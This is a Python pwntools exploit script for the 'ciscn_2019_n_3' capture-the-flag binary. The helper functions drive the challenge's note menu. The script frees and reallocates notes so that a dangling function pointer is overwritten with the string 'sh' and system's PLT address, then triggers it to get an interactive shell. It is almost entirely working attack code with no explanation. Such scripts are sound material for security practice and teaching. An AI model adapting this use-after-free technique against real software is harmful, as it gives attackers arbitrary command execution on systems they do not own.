from pwn import *
from LibcSearcher import *

context(os='linux',arch='i386',log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']

io  = process('./ciscn_2019_n_3')
# io = remote('node4.buuoj.cn',26934)

elf = ELF('./ciscn_2019_n_3')
pause()
def debug():
    gdb.attach(io)
    pause()
# debug()
def create(index, type, size, content):
    io.recvuntil(b"CNote >")
    io.sendline(b"1")
    io.recvuntil(b"Index >")
    io.sendline(str(index).encode())
    io.recvuntil(b"Type >")
    io.sendline(str(type).encode())
    io.recvuntil(b"Length >")
    io.sendline(str(size).encode())
    io.recvuntil(b"Value >")
    io.sendline(content)
    pass

def show(index):
    io.recvuntil(b"CNote >")
    io.sendline(b"3")
    io.recvuntil(b"Index >")
    io.sendline(str(index).encode())

def delete(index):
    io.recvuntil(b"CNote >")
    io.sendline(b"2")
    io.recvuntil(b"Index >")
    io.sendline(str(index).encode())


system_addr = elf.plt["system"]

create(0, 2, 0xc, b"aaa")
create(1, 2, 20, b"bbb")
io.info("create end -----")
pause()
delete(0)
io.info("delete end ----")
pause()
create(2, 2, 0x20, b"ccc")
create(3, 2, 0x20, b"ddd")
io.info("create 2 end -----")
pause()
delete(3)
delete(2)
io.info("delete 2 end ----")
pause()
create(4, 2, 0xc, flat(b"sh\x00\x00",system_addr))
io.info("create 4 end -----")
pause()
delete(3)
io.interactive()